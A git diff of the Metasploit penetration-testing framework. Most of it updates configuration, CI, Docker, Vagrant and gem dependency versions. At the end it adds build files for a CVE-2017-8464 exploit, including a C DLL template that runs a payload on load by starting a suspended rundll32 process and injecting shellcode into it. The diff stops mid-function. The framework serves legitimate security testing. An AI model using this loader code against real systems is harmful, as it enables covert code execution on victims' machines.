diff --git a/.dockerignore b/.dockerignore index 671d2295c4..a066428ead 100644 --- a/.dockerignore +++ b/.dockerignore @@ -90,7 +90,7 @@ data/java # Avoid checking in Meterpreter libs that are built from # private source. If you're interested in this functionality, -# check out Metasploit Pro: http://metasploit.com/download +# check out Metasploit Pro: https://metasploit.com/download data/meterpreter/ext_server_pivot.*.dll # Avoid checking in metakitty, the source for diff --git a/.gitignore b/.gitignore index 54ed3d7b52..233af3374f 100644 --- a/.gitignore +++ b/.gitignore @@ -78,7 +78,7 @@ data/java # Avoid checking in Meterpreter libs that are built from # private source. If you're interested in this functionality, -# check out Metasploit Pro: http://metasploit.com/download +# check out Metasploit Pro: https://metasploit.com/download data/meterpreter/ext_server_pivot.*.dll # Avoid checking in metakitty, the source for @@ -91,3 +91,4 @@ docker-compose.local* # Ignore python bytecode *.pyc +rspec.failures diff --git a/.rubocop.yml b/.rubocop.yml index 95aeb51d59..99f6ba340a 100644 --- a/.rubocop.yml +++ b/.rubocop.yml @@ -8,18 +8,57 @@ # inherit_from: .rubocop_todo.yml +AllCops: + TargetRubyVersion: 2.2 + Metrics/ClassLength: Description: 'Most Metasploit modules are quite large. This is ok.' Enabled: true Exclude: - 'modules/**/*' +Metrics/AbcSize: + Enabled: false + Description: 'This is often a red-herring' + +Metrics/CyclomaticComplexity: + Enabled: false + Description: 'This is often a red-herring' + +Metrics/PerceivedComplexity: + Enabled: false + Description: 'This is often a red-herring' + +Style/FrozenStringLiteralComment: + Enabled: false + Description: 'We cannot support this yet without a lot of things breaking' + +Style/RedundantReturn: + Description: 'This often looks weird when mixed with actual returns, and hurts nothing' + Enabled: false + Style/Documentation: Enabled: true Description: 'Most Metasploit modules do not have class documentation.' Exclude: - 'modules/**/*' +Layout/IndentHeredoc: + Enabled: false + Description: 'We need to leave this disabled for Ruby 2.2 compat, remove in 2018' + +Style/GuardClause: + Enabled: false + Description: 'This often introduces bugs in tested code' + +Style/NegatedIf: + Enabled: false + Description: 'This often introduces bugs in tested code' + +Style/ConditionalAssignment: + Enabled: false + Description: 'This is confusing for folks coming from other languages' + Style/Encoding: Enabled: true Description: 'We prefer binary to UTF-8.' @@ -53,7 +92,7 @@ Style/NumericLiterals: Enabled: false Description: 'This often hurts readability for exploit-ish code.' -Style/SpaceInsideBrackets: +Layout/SpaceInsideBrackets: Enabled: false Description: 'Until module template are final, most modules will fail this.' diff --git a/.ruby-version b/.ruby-version index 005119baaa..8e8299dcc0 100644 --- a/.ruby-version +++ b/.ruby-version @@ -1 +1 @@ -2.4.1 +2.4.2 diff --git a/.travis.yml b/.travis.yml index bb43dc1c92..ffcbff526b 100644 --- a/.travis.yml +++ b/.travis.yml @@ -12,20 +12,24 @@ addons: language: ruby rvm: - '2.2' - - '2.3.4' - - '2.4.1' + - '2.3.5' + - '2.4.2' env: -# TODO: restore these tests when the code passes them! -# - CMD='bundle exec rake cucumber cucumber:boot CREATE_BINSTUBS=true' - - CMD='bundle exec rake spec SPEC_OPTS="--tag content"' - - CMD='bundle exec rake spec SPEC_OPTS="--tag ~content"' + - CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"' + - CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"' matrix: fast_finish: true + +jobs: + # build docker image include: - - rvm: ruby-head - env: CMD="docker-compose -f $TRAVIS_BUILD_DIR/docker-compose.yml build" + - env: CMD="docker-compose -f $TRAVIS_BUILD_DIR/docker-compose.yml build" DOCKER="true" + # we do not need any setup + before_install: skip + install: skip + before_script: skip before_install: - "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc" - rake --version @@ -44,7 +48,8 @@ before_script: - git diff --exit-code db/schema.rb script: - echo "${CMD}" - - bash -c "${CMD}" + # we need travis_wait because the Docker build job can take longer than 10 minutes + - if [[ "${DOCKER}" == "true" ]]; then echo "Starting Docker build job"; travis_wait 40 "${CMD}"; else bash -c "${CMD}"; fi notifications: irc: "irc.freenode.org#msfnotify" diff --git a/.yardopts b/.yardopts index b58b0bda2b..75b5ea96e0 100644 --- a/.yardopts +++ b/.yardopts @@ -2,7 +2,7 @@ --exclude samples/ --exclude \.ut\.rb/ --exclude \.ts\.rb/ ---files CONTRIBUTING.md,COPYING,HACKING,LICENSE +--files CONTRIBUTING.md,COPYING,LICENSE app/**/*.rb lib/msf/**/*.rb lib/metasploit/**/*.rb diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 49b1890879..9dff7f654d 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -119,4 +119,4 @@ already way ahead of the curve, so keep it up! [YARD]:http://yardoc.org [Issues]:https://github.com/rapid7/metasploit-framework/issues [Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4 -[metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers +[metasploit-hackers]:https://groups.google.com/forum/#!forum/metasploit-hackers diff --git a/docker/Dockerfile b/Dockerfile similarity index 84% rename from docker/Dockerfile rename to Dockerfile index 52eb6cadfd..1bf0d1c27c 100644 --- a/docker/Dockerfile +++ b/Dockerfile @@ -1,4 +1,4 @@ -FROM ruby:2.4.1-alpine +FROM ruby:2.4.2-alpine MAINTAINER Rapid7 ARG BUNDLER_ARGS="--jobs=8 --without development test coverage" @@ -24,7 +24,6 @@ RUN apk update && \ bison \ build-base \ ruby-dev \ - libffi-dev\ openssl-dev \ readline-dev \ sqlite-dev \ @@ -35,15 +34,14 @@ RUN apk update && \ yaml-dev \ zlib-dev \ ncurses-dev \ + git \ && echo "gem: --no-ri --no-rdoc" > /etc/gemrc \ + && gem update --system \ + && gem install bundler \ && bundle install --system $BUNDLER_ARGS \ && apk del .ruby-builddeps \ && rm -rf /var/cache/apk/* -# fix for robots gem not readable (known bug) -# https://github.com/rapid7/metasploit-framework/issues/6068 -RUN chmod o+r /usr/local/bundle/gems/robots-*/lib/robots.rb - RUN adduser -g msfconsole -D $MSF_USER RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby) diff --git a/Gemfile b/Gemfile index f98a0f6091..3910ee17ff 100755 --- a/Gemfile +++ b/Gemfile @@ -18,9 +18,9 @@ group :development do gem 'pry' # module documentation gem 'octokit' - # metasploit-aggregator as a framework only option for now # Metasploit::Aggregator external session proxy - gem 'metasploit-aggregator' + # Disabled for now for crypttlv updates + # gem 'metasploit-aggregator' end group :development, :test do @@ -33,14 +33,10 @@ group :development, :test do # Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the # environment is development gem 'rspec-rails' + gem 'rspec-rerun' end group :test do - # cucumber extension for testing command line applications, like msfconsole - gem 'aruba' - # cucumber + automatic database cleaning with database_cleaner - gem 'cucumber-rails', :require => false - gem 'shoulda-matchers' # Manipulate Time.now in specs gem 'timecop' end diff --git a/Gemfile.lock b/Gemfile.lock index 3907842107..2243aadc1a 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,13 +1,15 @@ PATH remote: . specs: - metasploit-framework (4.14.25) + metasploit-framework (4.16.11) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) backports bcrypt + bcrypt_pbkdf bit-struct + dnsruby filesize jsobfu json @@ -15,9 +17,9 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 1.2.29) + metasploit-payloads (= 1.3.9) metasploit_data_models - metasploit_payloads-mettle (= 0.1.9) + metasploit_payloads-mettle (= 0.2.2) msgpack nessus_rest net-ssh @@ -30,9 +32,12 @@ PATH packetfu patch_finder pcaprub - pg + pdf-reader + pg (= 0.20.0) railties rb-readline + rbnacl (< 5.0.0) + rbnacl-libsodium recog redcarpet rex-arch @@ -44,7 +49,7 @@ PATH rex-mime rex-nop rex-ole - rex-powershell + rex-powershell (< 0.1.73) rex-random_identifier rex-registry rex-rop_builder @@ -53,7 +58,6 @@ PATH rex-struct2 rex-text rex-zip - robots ruby_smb rubyntlm rubyzip @@ -62,141 +66,94 @@ PATH tzinfo tzinfo-data windows_error + xdr xmlrpc GEM remote: https://rubygems.org/ specs: - actionpack (4.2.8) - actionview (= 4.2.8) - activesupport (= 4.2.8) + Ascii85 (1.0.2) + actionpack (4.2.10) + actionview (= 4.2.10) + activesupport (= 4.2.10) rack (~> 1.6) rack-test (~> 0.6.2) rails-dom-testing (~> 1.0, >= 1.0.5) rails-html-sanitizer (~> 1.0, >= 1.0.2) - actionview (4.2.8) - activesupport (= 4.2.8) + actionview (4.2.10) + activesupport (= 4.2.10) builder (~> 3.1) erubis (~> 2.7.0) rails-dom-testing (~> 1.0, >= 1.0.5) rails-html-sanitizer (~> 1.0, >= 1.0.3) - activemodel (4.2.8) - activesupport (= 4.2.8) + activemodel (4.2.10) + activesupport (= 4.2.10) builder (~> 3.1) - activerecord (4.2.8) - activemodel (= 4.2.8) - activesupport (= 4.2.8) + activerecord (4.2.10) + activemodel (= 4.2.10) + activesupport (= 4.2.10) arel (~> 6.0) - activesupport (4.2.8) + activesupport (4.2.10) i18n (~> 0.7) minitest (~> 5.1) thread_safe (~> 0.3, >= 0.3.4) tzinfo (~> 1.1) - addressable (2.5.1) - public_suffix (~> 2.0, >= 2.0.2) + addressable (2.5.2) + public_suffix (>= 2.0.2, < 4.0) + afm (0.2.2) arel (6.0.4) arel-helpers (2.4.0) activerecord (>= 3.1.0, < 6) - aruba (0.14.2) - childprocess (~> 0.5.6) - contracts (~> 0.9) - cucumber (>= 1.3.19) - ffi (~> 1.9.10) - rspec-expectations (>= 2.99) - thor (~> 0.19) backports (3.8.0) bcrypt (3.1.11) - bindata (2.4.0) + bcrypt_pbkdf (1.0.0) + bindata (2.4.1) bit-struct (0.16) builder (3.2.3) - capybara (2.14.0) - addressable - mime-types (>= 1.16) - nokogiri (>= 1.3.3) - rack (>= 1.0.0) - rack-test (>= 0.5.4) - xpath (~> 2.0) - childprocess (0.5.9) - ffi (~> 1.0, >= 1.0.11) - coderay (1.1.1) - contracts (0.16.0) - cucumber (2.4.0) - builder (>= 2.1.2) - cucumber-core (~> 1.5.0) - cucumber-wire (~> 0.0.1) - diff-lcs (>= 1.1.3) - gherkin (~> 4.0) - multi_json (>= 1.7.5, < 2.0) - multi_test (>= 0.1.2) - cucumber-core (1.5.0) - gherkin (~> 4.0) - cucumber-rails (1.5.0) - capybara (>= 1.1.2, < 3) - cucumber (>= 1.3.8, < 4) - mime-types (>= 1.17, < 4) - nokogiri (~> 1.5) - railties (>= 4, < 5.2) - cucumber-wire (0.0.1) + coderay (1.1.2) + crass (1.0.2) diff-lcs (1.3) + dnsruby (1.60.2) docile (1.1.5) erubis (2.7.0) - factory_girl (4.8.0) + factory_girl (4.8.1) activesupport (>= 3.0.0) factory_girl_rails (4.8.0) factory_girl (~> 4.8.0) railties (>= 3.0.0) - faraday (0.12.1) + faraday (0.13.1) multipart-post (>= 1.2, < 3) ffi (1.9.18) filesize (0.1.1) - fivemat (1.3.4) - gherkin (4.1.3) - google-protobuf (3.3.0) - googleauth (0.5.1) - faraday (~> 0.9) - jwt (~> 1.4) - logging (~> 2.0) - memoist (~> 0.12) - multi_json (~> 1.11) - os (~> 0.9) - signet (~> 0.7) - grpc (1.3.4) - google-protobuf (~> 3.1) - googleauth (~> 0.5.1) - i18n (0.8.4) + fivemat (1.3.5) + hashery (2.1.2) + i18n (0.8.6) jsobfu (0.4.2) rkelly-remix json (2.1.0) - jwt (1.5.6) - little-plugger (1.1.4) - logging (2.2.2) - little-plugger (~> 1.1) - multi_json (~> 1.10) - loofah (2.0.3) + loofah (2.1.1) + crass (~> 1.0.2) nokogiri (>= 1.5.9) - memoist (0.15.0) metasm (1.0.3) - metasploit-aggregator (0.2.1) - grpc - rex-arch - metasploit-concern (2.0.4) + metasploit-concern (2.0.5) activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) - metasploit-credential (2.0.9) + metasploit-credential (2.0.12) metasploit-concern metasploit-model metasploit_data_models pg railties + rex-socket rubyntlm rubyzip metasploit-model (2.0.4) activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) - metasploit-payloads (1.2.29) - metasploit_data_models (2.0.14) + metasploit-payloads (1.3.9) + metasploit_data_models (2.0.15) activerecord (~> 4.2.6) activesupport (~> 4.2.6) arel-helpers @@ -206,43 +163,42 @@ GEM postgres_ext railties (~> 4.2.6) recog (~> 2.0) - metasploit_payloads-mettle (0.1.9) - method_source (0.8.2) - mime-types (3.1) - mime-types-data (~> 3.2015) - mime-types-data (3.2016.0521) - mini_portile2 (2.1.0) - minitest (5.10.2) + metasploit_payloads-mettle (0.2.2) + method_source (0.9.0) + mini_portile2 (2.3.0) + minitest (5.10.3) msgpack (1.1.0) - multi_json (1.12.1) - multi_test (0.1.2) multipart-post (2.0.0) nessus_rest (0.1.6) - net-ssh (4.1.0) - network_interface (0.0.1) - nexpose (6.0.0) - nokogiri (1.7.2) - mini_portile2 (~> 2.1.0) + net-ssh (4.2.0) + network_interface (0.0.2) + nexpose (7.1.1) + nokogiri (1.8.1) + mini_portile2 (~> 2.3.0) octokit (4.7.0) sawyer (~> 0.8.0, >= 0.5.3) openssl-ccm (1.2.1) openvas-omp (0.0.4) - os (0.9.6) packetfu (1.1.13) pcaprub patch_finder (1.0.2) pcaprub (0.12.4) + pdf-reader (2.0.0) + Ascii85 (~> 1.0.0) + afm (~> 0.2.1) + hashery (~> 2.0) + ruby-rc4 + ttfunk pg (0.20.0) pg_array_parser (0.0.9) postgres_ext (3.0.0) activerecord (>= 4.0.0) arel (>= 4.0.1) pg_array_parser (~> 0.0.9) - pry (0.10.4) + pry (0.11.1) coderay (~> 1.1.0) - method_source (~> 0.8.1) - slop (~> 3.4) - public_suffix (2.0.5) + method_source (~> 0.9.0) + public_suffix (3.0.0) rack (1.6.8) rack-test (0.6.3) rack (>= 1.0) @@ -254,25 +210,29 @@ GEM rails-deprecated_sanitizer (>= 1.0.1) rails-html-sanitizer (1.0.3) loofah (~> 2.0) - railties (4.2.8) - actionpack (= 4.2.8) - activesupport (= 4.2.8) + railties (4.2.10) + actionpack (= 4.2.10) + activesupport (= 4.2.10) rake (>= 0.8.7) thor (>= 0.18.1, < 2.0) - rake (12.0.0) - rb-readline (0.5.4) - recog (2.1.8) + rake (12.1.0) + rb-readline (0.5.5) + rbnacl (4.0.2) + ffi + rbnacl-libsodium (1.0.13) + rbnacl (>= 3.0.1) + recog (2.1.15) nokogiri redcarpet (3.4.0) - rex-arch (0.1.8) + rex-arch (0.1.11) rex-text - rex-bin_tools (0.1.3) + rex-bin_tools (0.1.4) metasm rex-arch rex-core rex-struct2 rex-text - rex-core (0.1.10) + rex-core (0.1.12) rex-encoder (0.1.4) metasm rex-arch @@ -293,16 +253,17 @@ GEM rex-powershell (0.1.72) rex-random_identifier rex-text - rex-random_identifier (0.1.2) + rex-random_identifier (0.1.4) rex-text rex-registry (0.1.3) rex-rop_builder (0.1.3) metasm rex-core rex-text - rex-socket (0.1.6) + rex-socket (0.1.8) + rex-core + rex-sslscan (0.1.5) rex-core - rex-sslscan (0.1.4) rex-socket rex-text rex-struct2 (0.1.2) @@ -310,7 +271,10 @@ GEM rex-zip (0.1.3) rex-text rkelly-remix (0.0.7) - robots (0.10.1) + rspec (3.6.0) + rspec-core (~> 3.6.0) + rspec-expectations (~> 3.6.0) + rspec-mocks (~> 3.6.0) rspec-core (3.6.0) rspec-support (~> 3.6.0) rspec-expectations (3.6.0) @@ -319,7 +283,7 @@ GEM rspec-mocks (3.6.0) diff-lcs (>= 1.2.0, < 2.0) rspec-support (~> 3.6.0) - rspec-rails (3.6.0) + rspec-rails (3.6.1) actionpack (>= 3.0) activesupport (>= 3.0) railties (>= 3.0) @@ -327,7 +291,10 @@ GEM rspec-expectations (~> 3.6.0) rspec-mocks (~> 3.6.0) rspec-support (~> 3.6.0) + rspec-rerun (1.1.0) + rspec (~> 3.0) rspec-support (3.6.0) + ruby-rc4 (0.1.5) ruby_smb (0.0.18) bindata rubyntlm @@ -337,53 +304,44 @@ GEM sawyer (0.8.1) addressable (>= 2.3.5, < 2.6) faraday (~> 0.8, < 1.0) - shoulda-matchers (3.1.1) - activesupport (>= 4.0.0) - signet (0.7.3) - addressable (~> 2.3) - faraday (~> 0.9) - jwt (~> 1.5) - multi_json (~> 1.10) - simplecov (0.14.1) + simplecov (0.15.1) docile (~> 1.1.0) json (>= 1.8, < 3) simplecov-html (~> 0.10.0) - simplecov-html (0.10.1) - slop (3.6.0) + simplecov-html (0.10.2) sqlite3 (1.3.13) sshkey (1.9.0) - thor (0.19.4) + thor (0.20.0) thread_safe (0.3.6) - timecop (0.8.1) + timecop (0.9.1) + ttfunk (1.5.1) tzinfo (1.2.3) thread_safe (~> 0.1) tzinfo-data (1.2017.2) tzinfo (>= 1.0.0) windows_error (0.1.2) + xdr (2.0.0) + activemodel (>= 4.2.7) + activesupport (>= 4.2.7) xmlrpc (0.3.0) - xpath (2.1.0) - nokogiri (~> 1.3) yard (0.9.9) PLATFORMS ruby DEPENDENCIES - aruba - cucumber-rails factory_girl_rails fivemat - metasploit-aggregator metasploit-framework! octokit pry rake redcarpet rspec-rails - shoulda-matchers + rspec-rerun simplecov timecop yard BUNDLED WITH - 1.15.1 + 1.15.4 diff --git a/HACKING b/HACKING deleted file mode 100644 index 17343a9f03..0000000000 --- a/HACKING +++ /dev/null @@ -1,38 +0,0 @@ -HACKING -======= - -(Last updated: 2014-03-04) - -This document almost entirely deprecated by: - -CONTRIBUTING.md - -in the same directory as this file, and to a lesser extent: - -The Metasploit Development Environment -https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment - -Common Coding Mistakes -https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes - -The Ruby Style Guide -https://github.com/bbatsov/ruby-style-guide - -Ruby 1.9: What to Expect -http://slideshow.rubyforge.org/ruby19.html - -You can use the the "./tools/msftidy.rb" script against your new and -changed modules to do some rudimentary checking for various style and -syntax violations. - -Licensing for Your New Content -============================== - -By submitting code contributions to the Metasploit Project it is -assumed that you are offering your code under the Metasploit License -or similar 3-clause BSD-compatible license. MIT and Ruby Licenses -are also fine. We specifically cannot include GPL code. LGPL code -is accepted on a case by case basis for libraries only and is never -accepted for modules. - - diff --git a/LICENSE_GEMS b/LICENSE_GEMS index a4e325a2cf..2fe90885c5 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -1,71 +1,62 @@ This file is auto-generated by tools/dev/update_gem_licenses.sh -actionpack, 4.2.8, MIT -actionview, 4.2.8, MIT -activemodel, 4.2.8, MIT -activerecord, 4.2.8, MIT -activesupport, 4.2.8, MIT +Ascii85, 1.0.2, MIT +actionpack, 4.2.9, MIT +actionview, 4.2.9, MIT +activemodel, 4.2.9, MIT +activerecord, 4.2.9, MIT +activesupport, 4.2.9, MIT addressable, 2.5.1, "Apache 2.0" +afm, 0.2.2, MIT arel, 6.0.4, MIT arel-helpers, 2.4.0, unknown -aruba, 0.14.2, MIT backports, 3.8.0, MIT bcrypt, 3.1.11, MIT bindata, 2.4.0, ruby bit-struct, 0.16, ruby builder, 3.2.3, MIT -bundler, 1.15.0, MIT -capybara, 2.14.0, MIT -childprocess, 0.5.9, MIT +bundler, 1.15.1, MIT coderay, 1.1.1, MIT -contracts, 0.16.0, "Simplified BSD" -cucumber, 2.4.0, MIT -cucumber-core, 1.5.0, MIT -cucumber-rails, 1.5.0, MIT -cucumber-wire, 0.0.1, MIT diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+" +dnsruby, 1.60.1, "Apache 2.0" docile, 1.1.5, MIT erubis, 2.7.0, MIT factory_girl, 4.8.0, MIT factory_girl_rails, 4.8.0, MIT faraday, 0.12.1, MIT -ffi, 1.9.18, "New BSD" filesize, 0.1.1, MIT -fivemat, 1.3.3, MIT -gherkin, 4.1.3, MIT +fivemat, 1.3.5, MIT google-protobuf, 3.3.0, "New BSD" googleauth, 0.5.1, "Apache 2.0" -grpc, 1.3.4, "New BSD" -i18n, 0.8.1, MIT +grpc, 1.4.1, "New BSD" +hashery, 2.1.2, "Simplified BSD" +i18n, 0.8.6, MIT jsobfu, 0.4.2, "New BSD" json, 2.1.0, ruby jwt, 1.5.6, MIT little-plugger, 1.1.4, MIT logging, 2.2.2, MIT loofah, 2.0.3, MIT -memoist, 0.15.0, MIT +memoist, 0.16.0, MIT metasm, 1.0.3, LGPL metasploit-aggregator, 0.2.1, "New BSD" -metasploit-concern, 2.0.4, "New BSD" -metasploit-credential, 2.0.9, "New BSD" -metasploit-framework, 4.14.23, "New BSD" +metasploit-concern, 2.0.5, "New BSD" +metasploit-credential, 2.0.10, "New BSD" +metasploit-framework, 4.15.0, "New BSD" metasploit-model, 2.0.4, "New BSD" -metasploit-payloads, 1.2.29, "3-clause (or ""modified"") BSD" -metasploit_data_models, 2.0.14, "New BSD" -metasploit_payloads-mettle, 0.1.9, "3-clause (or ""modified"") BSD" +metasploit-payloads, 1.2.37, "3-clause (or ""modified"") BSD" +metasploit_data_models, 2.0.15, "New BSD" +metasploit_payloads-mettle, 0.1.10, "3-clause (or ""modified"") BSD" method_source, 0.8.2, MIT -mime-types, 3.1, MIT -mime-types-data, 3.2016.0521, MIT -mini_portile2, 2.1.0, MIT +mini_portile2, 2.2.0, MIT minitest, 5.10.2, MIT msgpack, 1.1.0, "Apache 2.0" multi_json, 1.12.1, MIT -multi_test, 0.1.2, MIT multipart-post, 2.0.0, MIT nessus_rest, 0.1.6, MIT net-ssh, 4.1.0, MIT network_interface, 0.0.1, MIT -nexpose, 6.0.0, BSD -nokogiri, 1.7.2, MIT +nexpose, 6.1.0, BSD +nokogiri, 1.8.0, MIT octokit, 4.7.0, MIT openssl-ccm, 1.2.1, MIT openvas-omp, 0.0.4, MIT @@ -73,6 +64,7 @@ os, 0.9.6, MIT packetfu, 1.1.13, BSD patch_finder, 1.0.2, "New BSD" pcaprub, 0.12.4, LGPL-2.1 +pdf-reader, 2.0.0, MIT pg, 0.20.0, "New BSD" pg_array_parser, 0.0.9, unknown postgres_ext, 3.0.0, MIT @@ -83,14 +75,14 @@ rack-test, 0.6.3, MIT rails-deprecated_sanitizer, 1.0.3, MIT rails-dom-testing, 1.0.8, MIT rails-html-sanitizer, 1.0.3, MIT -railties, 4.2.8, MIT +railties, 4.2.9, MIT rake, 12.0.0, MIT rb-readline, 0.5.4, BSD -recog, 2.1.8, unknown +recog, 2.1.11, unknown redcarpet, 3.4.0, MIT -rex-arch, 0.1.4, "New BSD" -rex-bin_tools, 0.1.3, "New BSD" -rex-core, 0.1.10, "New BSD" +rex-arch, 0.1.9, "New BSD" +rex-bin_tools, 0.1.4, "New BSD" +rex-core, 0.1.11, "New BSD" rex-encoder, 0.1.4, "New BSD" rex-exploitation, 0.1.14, "New BSD" rex-java, 0.1.5, "New BSD" @@ -101,23 +93,25 @@ rex-powershell, 0.1.72, "New BSD" rex-random_identifier, 0.1.2, "New BSD" rex-registry, 0.1.3, "New BSD" rex-rop_builder, 0.1.3, "New BSD" -rex-socket, 0.1.6, "New BSD" +rex-socket, 0.1.8, "New BSD" rex-sslscan, 0.1.4, "New BSD" rex-struct2, 0.1.2, "New BSD" rex-text, 0.2.15, "New BSD" rex-zip, 0.1.3, "New BSD" rkelly-remix, 0.0.7, MIT robots, 0.10.1, MIT +rspec, 3.6.0, MIT rspec-core, 3.6.0, MIT rspec-expectations, 3.6.0, MIT rspec-mocks, 3.6.0, MIT rspec-rails, 3.6.0, MIT +rspec-rerun, 1.1.0, MIT rspec-support, 3.6.0, MIT -ruby_smb, 0.0.17, "New BSD" +ruby-rc4, 0.1.5, MIT +ruby_smb, 0.0.18, "New BSD" rubyntlm, 0.6.2, MIT rubyzip, 1.2.1, "Simplified BSD" sawyer, 0.8.1, MIT -shoulda-matchers, 3.1.1, MIT signet, 0.7.3, "Apache 2.0" simplecov, 0.14.1, MIT simplecov-html, 0.10.1, MIT @@ -126,10 +120,11 @@ sqlite3, 1.3.13, "New BSD" sshkey, 1.9.0, MIT thor, 0.19.4, MIT thread_safe, 0.3.6, "Apache 2.0" -timecop, 0.8.1, MIT +timecop, 0.9.1, MIT +ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0" tzinfo, 1.2.3, MIT tzinfo-data, 1.2017.2, MIT windows_error, 0.1.2, BSD +xdr, 2.0.0, "Apache 2.0" xmlrpc, 0.3.0, ruby -xpath, 2.1.0, MIT yard, 0.9.9, MIT diff --git a/README.md b/README.md index ba8aace800..16b401ac91 100644 --- a/README.md +++ b/README.md @@ -14,13 +14,12 @@ New bugs and feature requests should be directed to: API documentation for writing modules can be found at: https://rapid7.github.io/metasploit-framework/api -Questions and suggestions can be sent to: - https://lists.sourceforge.net/lists/listinfo/metasploit-hackers +Questions and suggestions can be sent to: Freenode IRC channel or e-mail the metasploit-hackers mailing list Installing -- -Generally, you should use [the free installer](https://www.metasploit.com/download), +Generally, you should use [the free installer](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), which contains all of the dependencies and will get you up and running with a few clicks. See the [Dev Environment Setup](https://r-7.co/MSF-DEV) if you'd like to deal with dependencies on your own. diff --git a/Rakefile b/Rakefile index 0b5b831699..557139f967 100755 --- a/Rakefile +++ b/Rakefile @@ -11,6 +11,7 @@ Metasploit::Framework::Require.optionally_active_record_railtie begin require 'rspec/core' + require 'rspec-rerun/tasks' rescue LoadError puts "rspec not in bundle, so can't set up spec tasks. " \ "To run specs ensure to install the development and test groups." diff --git a/Vagrantfile b/Vagrantfile index e6bfb9a5ac..3c1a77ec2c 100644 --- a/Vagrantfile +++ b/Vagrantfile @@ -3,10 +3,7 @@ Vagrant.configure(2) do |config| config.ssh.forward_x11 = true - config.vm.box = "ubuntu/trusty64" - # TODO: find a minimal image that keeps up-to-date and - # supports multiple providers - #config.vm.box = "phusion/ubuntu-14.04-amd64" + config.vm.box = "ubuntu/xenial64" config.vm.network :forwarded_port, guest: 4444, host: 4444 config.vm.provider "vmware" do |v| v.memory = 2048 @@ -26,14 +23,14 @@ Vagrant.configure(2) do |config| [ #"echo 127.0.1.1 `cat /etc/hostname` >> /etc/hosts", work around a bug in official Ubuntu Xenial cloud images "apt-get update", "apt-get dist-upgrade -y", - "apt-get -y install curl build-essential git tig vim john nmap libpq-dev libpcap-dev gnupg fortune postgresql postgresql-contrib", + "apt-get -y install curl build-essential git tig vim john nmap libpq-dev libpcap-dev gnupg2 fortune postgresql postgresql-contrib", ].each do |step| config.vm.provision "shell", inline: step end [ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3", "curl -L https://get.rvm.io | bash -s stable", - "source ~/.rvm/scripts/rvm && cd /vagrant && rvm --install .ruby-version", + "source ~/.rvm/scripts/rvm && cd /vagrant && rvm install `cat .ruby-version`", "source ~/.rvm/scripts/rvm && cd /vagrant && gem install bundler", "source ~/.rvm/scripts/rvm && cd /vagrant && bundle", "mkdir -p ~/.msf4", diff --git a/data/exploits/cve-2017-8464/src/build.sh b/data/exploits/cve-2017-8464/src/build.sh new file mode 100755 index 0000000000..1d61abe03c --- /dev/null +++ b/data/exploits/cve-2017-8464/src/build.sh @@ -0,0 +1,16 @@ +#!/bin/sh +rm -f *.o *.dll + +CCx86="i686-w64-mingw32" +CCx64="x86_64-w64-mingw32" + +${CCx64}-gcc -m64 -c -Os template.c -Wall -shared +${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll +${CCx64}-strip -s temp.dll -o template_x64_windows.dll +rm -f temp.dll *.o + +${CCx86}-gcc -c -Os template.c -Wall -shared +${CCx86}-dllwrap --def template.def *.o -o temp.dll +${CCx86}-strip -s temp.dll -o template_x86_windows.dll +rm -f temp.dll *.o + diff --git a/data/exploits/cve-2017-8464/src/template.c b/data/exploits/cve-2017-8464/src/template.c new file mode 100755 index 0000000000..f7c6009053 --- /dev/null +++ b/data/exploits/cve-2017-8464/src/template.c @@ -0,0 +1,95 @@ +// Based on https://github.com/rapid7/metasploit-framework/tree/cac890a797d0d770260074dfe703eb5cfb63bd46/data/templates/src/pe/dll +// - removed ExitThread(0) to prevent an Explorer crash +// - added Mutex to prevent invoking payload multiple times (at least try) +#include +#include "template.h" + +void inline_bzero(void *p, size_t l) +{ + BYTE *q = (BYTE *)p; + size_t x = 0; + for (x = 0; x < l; x++) + *(q++) = 0x00; +} + +void ExecutePayload(void); + +BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) +{ + switch (dwReason) + { + case DLL_PROCESS_ATTACH: + ExecutePayload(); + break; + + case DLL_PROCESS_DETACH: + break; + + case DLL_THREAD_ATTACH: + break; + + case DLL_THREAD_DETACH: + break; + } + + return TRUE; +} + +void ExecutePayload(void) +{ + PROCESS_INFORMATION pi; + STARTUPINFO si; + CONTEXT ctx; + LPVOID ep; + HANDLE hMutex; + SECURITY_ATTRIBUTES MutexAttributes; + + inline_bzero(&MutexAttributes, sizeof(MutexAttributes)); + MutexAttributes.nLength = sizeof(MutexAttributes); + MutexAttributes.bInheritHandle = TRUE; // inherit the handle + hMutex = CreateMutex(&MutexAttributes, TRUE, "MsfMutex"); + if(hMutex == NULL) + { + return; + } + + if(GetLastError() == ERROR_ALREADY_EXISTS) + { + CloseHandle(hMutex); + return; + } + + if(GetLastError() == ERROR_ACCESS_DENIED) + { + CloseHandle(hMutex); + return; + } + + // Start up the payload in a new process + inline_bzero(&si, sizeof(si)); + si.cb = sizeof(si); + + // Create a suspended process, write shellcode into stack, make stack RWX, resume it + if(CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) 